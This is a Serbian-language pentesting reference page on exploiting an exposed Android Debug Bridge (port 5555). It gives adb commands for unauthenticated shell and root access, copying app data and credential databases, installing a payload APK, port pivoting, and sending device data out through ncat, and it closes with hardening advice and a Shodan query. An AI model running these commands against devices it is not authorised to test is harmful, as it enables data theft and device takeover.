# 5555 - Android Debug Bridge {{#include ../banners/hacktricks-training.md}} ## Osnovne informacije Iz [dokumentacije](https://developer.android.com/studio/command-line/adb): Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju. - Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim). - Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije. Primer nmap otiska: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Poveži se Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju: ```bash adb connect [:] # Default is 5555 for classic mode adb devices -l # Confirm it shows as "device" (not unauthorized/offline) adb shell # Get an interactive shell (uid usually shell) whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` - Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju). - Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell. Za opšti ADB referentni vodič, pogledajte: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} ## Brza Post-Exploatacija Kada imate shell, proverite privilegije i SELinux kontekst: ```bash id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` ### Enumerate and capture data - Lista aplikacija trećih strana i putanja: ```bash pm list packages -3 pm path ``` - Ako imate root (adb root ili su rade), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati: ```bash # Bez roota, za aplikaciju koja se može debagovati run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ # Sa rootom cp -a /data/data/ /sdcard/ exit adb pull "/sdcard/" ``` - Korisni sistemski artefakti (potreban root): - /data/system/users/0/accounts.db i povezani AccountManager podaci - /data/misc/wifi/ (mrežne konfiguracije/ključevi na starijim verzijama) - Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/ Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274). ### Code execution and payload delivery - Instalirajte i automatski dodelite dozvole za vreme izvođenja: ```bash adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu adb shell monkey -p -c android.intent.category.LAUNCHER 1 ``` - Pokrenite aktivnosti/usluge/emitovanja direktno: ```bash adb shell am start -n / adb shell am startservice -n / adb shell am broadcast -a ``` ### Port forwarding and pivoting Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju. - Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta): ```bash adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear) adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije ``` - Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu): ```bash adb reverse tcp:1080 tcp:1080 # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080 ``` - Ekstrakcija fajlova preko soketa (bez pisanja na sdcard): ```bash # Na hostu: slušajte ncat -lvp 9000 > dump.tar # Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi) adb shell "tar cf - /data/data/" | ncat 9000 ``` ## Wireless Debugging (Android 11+) Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem: ```bash # On the device: Developer options -> Wireless debugging -> Pair device with pairing code # On attacker host (same L2 network, mDNS allowed): adb pair : # Enter the 6-digit code shown on device adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services adb connect : ``` Notes - Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako: - _adb-tls-pairing._tcp (pariranje) - _adb-tls-connect._tcp (povezivanje) - _adb._tcp (legacy/plain) - Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama: `adb tcpip 5555` zatim `adb connect :5555` (do ponovnog pokretanja). Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite. ## Hardening / Detection Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik. - Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere. - Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima. - Na uređajima pod vašom kontrolom: ```bash settings put global adb_enabled 0 setprop service.adb.tcp.port -1 # onemogućite TCP slušanje (ili koristite: adb usb) stop adbd; start adbd # restartujte demon ``` - Pratite mDNS zapise `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce. - Inventar za nesigurne verzije: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`. ## Shodan - android debug bridge - port:5555 product:"Android Debug Bridge" ## References - Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb - AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}}